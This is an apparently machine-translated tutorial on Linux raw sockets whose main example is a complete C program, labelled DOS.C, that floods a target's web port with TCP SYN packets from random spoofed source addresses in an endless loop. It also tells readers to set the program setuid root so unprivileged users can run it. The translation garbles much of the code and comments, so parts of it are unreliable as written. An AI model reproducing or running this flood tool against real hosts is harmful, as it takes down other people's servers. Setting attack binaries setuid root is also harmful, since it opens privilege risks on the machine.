This article reproduced: http://www.cnblogs.com/duzouzhe/archive/2009/06/19/1506699.html, in this thanks
The original socket (SOCK_RAW). With the use of the original socket, we can write out functions that are not possible by TCP and UDP sockets.
Note that the original socket can only be created by a person with root privileges.
10.1 Creation of the original socket
int SOCKFD (AF_INET,SOCK_RAW,PROTOCOL)
You can create an original socket. Depending on the type of protocol, we can create different types of original sockets such as: IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP and so on.
For more details see the man manual for the socket below we show an example of how the original socket was created and used
10.2 An instance of an original socket
Remember what DOS means? Here we are going to write a small program that implements DOS. The following is the source code of the program
/******************** DOS.C *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define DESTPORT 80/* Port to attack (WEB) */
#define LOCALPORT 8888
void send_tcp (int sockfd,struct sockaddr_in *addr);
unsigned short check_sum (unsigned short *addr,int len);
int main (int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct Hostent *host;
int on=1;
if (argc!=2)
{
fprintf (stderr, "usage:%s hostname\n\a", argv[0]);
Exit (1);
}
Bzero (&addr,sizeof (struct sockaddr_in));
Addr.sin_family=af_inet;
Addr.sin_port=htons (Destport);
if (Inet_aton (ARGV[1],&ADDR.SIN_ADDR) ==0)
{
Host=gethostbyname (argv[1]);
if (host==null)
{
fprintf (stderr, "HostName error:%s\n\a", Hstrerror (H_errno));
Exit (1);
}
addr.sin_addr=* (struct in_addr *) (host->h_addr_list[0]);
}
/**** uses IPPROTO_TCP to create a TCP raw socket ****/
Sockfd=socket (AF_INET,SOCK_RAW,IPPROTO_TCP);
if (sockfd<0)
{
fprintf (stderr, "Socket error:%s\n\a", Strerror (errno));
Exit (1);
}
/******** set the IP packet format, tell the System kernel module IP packet by ourselves to fill in ***/
SetSockOpt (Sockfd,ipproto_ip,ip_hdrincl,&on,sizeof (on));
/**** There is no way to use the original socket only with the super-care user *********/
Setuid (Getpid ());
/********* sent a bomb!!!! ****/
Send_tcp (SOCKFD,&ADDR);
}
/******* the implementation of the bomb sent *********/
void send_tcp (int sockfd,struct sockaddr_in *addr)
{
Char buffer[100]; /**** is used to place our packets ****/
struct IP *ip;
struct TCPHDR *tcp;
int Head_len;
/******* our packets actually have no content, so the length is the length of the two structure ***/
head_len=sizeof (struct IP) +sizeof (struct TCPHDR);
Bzero (buffer,100);
/******** fill the head of the IP packet, remember the IP header format? ******/
ip= (struct IP *) buffer;
ip->ip_v=ipversion; The/** version is typically 4 **/
ip->ip_hl=sizeof (struct IP) >>2; /** the head length of the IP packet **/
ip->ip_tos=0; /** Service Type **/
Ip->ip_len=htons (Head_len); /** length of IP packet **/
ip->ip_id=0; /** let the system to fill it **/
ip->ip_off=0; /** the same as above, save some time **/
ip->ip_ttl=maxttl; /** Maximum time 255 **/
ip->ip_p=ipproto_tcp; /** We're going to send a TCP packet **/
ip->ip_sum=0; /** checksum allows the system to do **/
ip->ip_dst=addr->sin_addr; /** the object we attacked **/
/******* start filling out TCP packets *****/
tcp= (struct TCPHDR *) (buffer +sizeof (struct IP));
Tcp->source=htons (LocalPort);
tcp->dest=addr->sin_port; /** Destination Port **/
Tcp->seq=random ();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** I want to establish a connection **/
tcp->check=0;
/** Well, everything is ready. Server, are you ready?? ^_^ **/
while (1)
{
/** you do not know where I came from, slowly to wait! **/
Ip->ip_src.s_addr=random ();
/** everything to make the system, also does not mean much, or let us check the head of the bar * *
/** below this is optional */
Tcp->check=check_sum ((unsigned short *) TCP,
sizeof (struct TCPHDR));
SendTo (sockfd,buffer,head_len,0,addr,sizeof (struct sockaddr_in));
}
}
/* Below is the first checksum algorithm, stole the others ' * *
unsigned short check_sum (unsigned short *addr,int len)
{
register int Nleft=len;
register int sum=0;
Register short *w=addr;
Short answer=0;
while (nleft>1)
{
sum+=*w++;
nleft-=2;
}
if (nleft==1)
{
* (unsigned char *) (&answer) =* (unsigned char *) W;
Sum+=answer;
}
Sum= (sum>>16) + (SUM&0XFFFF);
sum+= (SUM>>16);
Answer=~sum;
return (answer);
}
Compile, take localhost to do the experiment and see what happens. (Never try someone else's). In order for a normal user to run this program,
We should change the owner of this program to root and set the setuid bit
[[email protected]/root] #chown root DOS
[[email protected]/root] #chmod +s DOS
10.3 Summary
The original socket and the generic socket are different from what many of the previous systems did, and it's up to us to do it ourselves. But isn't there a lot of fun in it?
When we created a TCP socket, we were only responsible for passing the content we were sending (buffer) to the system. After receiving our data, the system
callback automatically calls the corresponding module to the data with the TCP header, and then adds the IP header. Send it out again. And now we're creating each of our own heads, and the system just put them
Sent out. In the above example, because we want to modify our source IP address, we use the setsockopt function, if we just modify the TCP data,
Then the IP data can be created by the system as well.
Raw Sockets (Sock_raw)